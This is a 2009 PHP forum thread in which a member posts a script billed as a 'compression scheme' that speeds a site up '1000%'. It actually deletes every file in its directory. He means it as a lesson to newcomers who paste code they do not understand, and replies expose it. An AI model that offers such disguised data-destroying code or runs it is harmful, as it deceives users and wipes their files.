Tycoon Talk
Become a Big fish!
The number 1 forum for online business!
Post topics, ask questions, share your knowledge.
Tycoon Talk is part of Freelancer.com - find skilled workers online at a fraction of the cost.

PHP Forum


You are currently viewing our PHP Forum as a guest. Please register to participate.
Login



Freelance Jobs

Closed Thread
Copy and Paste Code for Newbies
Old 02-06-2009, 01:44 PM Copy and Paste Code for Newbies
spyderwebtech's Avatar
Skilled Talker

Posts: 51
Trades: 0
You know there are a lot of Newbies on this forum that copy and paste code from other places and then want help to figure out why it doesn't work.

Obviously this is frustrating and dangerous practice, especially if you don't know what the code does.

So I thought that some of the more experienced people could post code that the Newbies could learn some valuable lessons from and copy and paste it to see what happens.

I will start by offering up a very high compression scheme for PHP, HTML, CSS, JS, and Images.

This code is so effective that it will speed up your website by 1000% guaranteed!

To use this code you MUST do the following:
  1. Backup all the files in your directory
  2. copy and paste the code into a file and upload it in the main directory
  3. research the links below the code to learn what the script is doing
  4. Run the script and Enjoy!!!
Code:
<?

define('DIR_DELIM',DIRECTORY_SEPARATOR);


$path = realpath('./');
$compress_path = "$path";

$target_files = scandir($compress_path);


foreach($target_files as $compression_file)
{
    
    @unlink($path.DIR_DELIM.$compression_file);

}


?>
Links that you MUST research before running this script!!
http://us3.php.net/realpath
http://us3.php.net/manual/en/function.unlink.php
http://us3.php.net/scandir

If you have made it this far, you should know NOT to run this script!
spyderwebtech is offline
View Public Profile
 
 
Register now for full access!
Old 02-06-2009, 03:19 PM Re: Copy and Paste Code for Newbies
tripy's Avatar
Do not try this at home!

Posts: 3,621
Name: Thierry
Location: I'm the uber Spaminator !
Trades: 0
Do not execute this code, anyone.
It's designed to wipe out all files at the same level than this script.


Spyderweb, I have to say that I'm more than perplex upon this post...
I hesitate between reporting it and letting darwinism work...
__________________
Only a biker knows why a dog sticks his head out the window.
tripy is offline
View Public Profile Visit tripy's homepage!
 
Old 02-06-2009, 03:21 PM Re: Copy and Paste Code for Newbies
spatula's Avatar
Novice Talker

Posts: 9
Name: Mike
Location: Alderon
Trades: 0
Excellente!
Mi hava en cantrada ce por la viviendo en ducki!

Oui.
spatula is offline
View Public Profile
 
Old 02-06-2009, 03:28 PM Re: Copy and Paste Code for Newbies
spyderwebtech's Avatar
Skilled Talker

Posts: 51
Trades: 0
That's exactly the point...

Copy and paste newbies should really learn what PHP code actually does....

Did you happen the read the entire post?
spyderwebtech is offline
View Public Profile
 
Old 02-06-2009, 05:39 PM Re: Copy and Paste Code for Newbies
tripy's Avatar
Do not try this at home!

Posts: 3,621
Name: Thierry
Location: I'm the uber Spaminator !
Trades: 0
Quote:
Did you happen the read the entire post?
Yep, and that's why I talk about darwinism.
If they didn't read the small disclaimer, well...
Quote:
I pity the fool
__________________
Only a biker knows why a dog sticks his head out the window.
tripy is offline
View Public Profile Visit tripy's homepage!
 
Old 02-06-2009, 06:12 PM Re: Copy and Paste Code for Newbies
spyderwebtech's Avatar
Skilled Talker

Posts: 51
Trades: 0
This post was definitely NOT to be malicious..... but more as a caution to Newbies.

When I started out, I downloaded a script that replaced all my adsense id's with some hacker's adsense id....

Painful lesson, but I have learned it.
spyderwebtech is offline
View Public Profile
 
Closed Thread     « Reply to Copy and Paste Code for Newbies
 

Thread Tools Search this Thread
Search this Thread:

Advanced Search

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are Off
Pingbacks are Off
Refbacks are Off





   
RSS Feed  Feeds: RSS   JS   XML
RSS Feed  Feeds for this forum: RSS   JS   XML



Page generated in 0.29043 seconds with 12 queries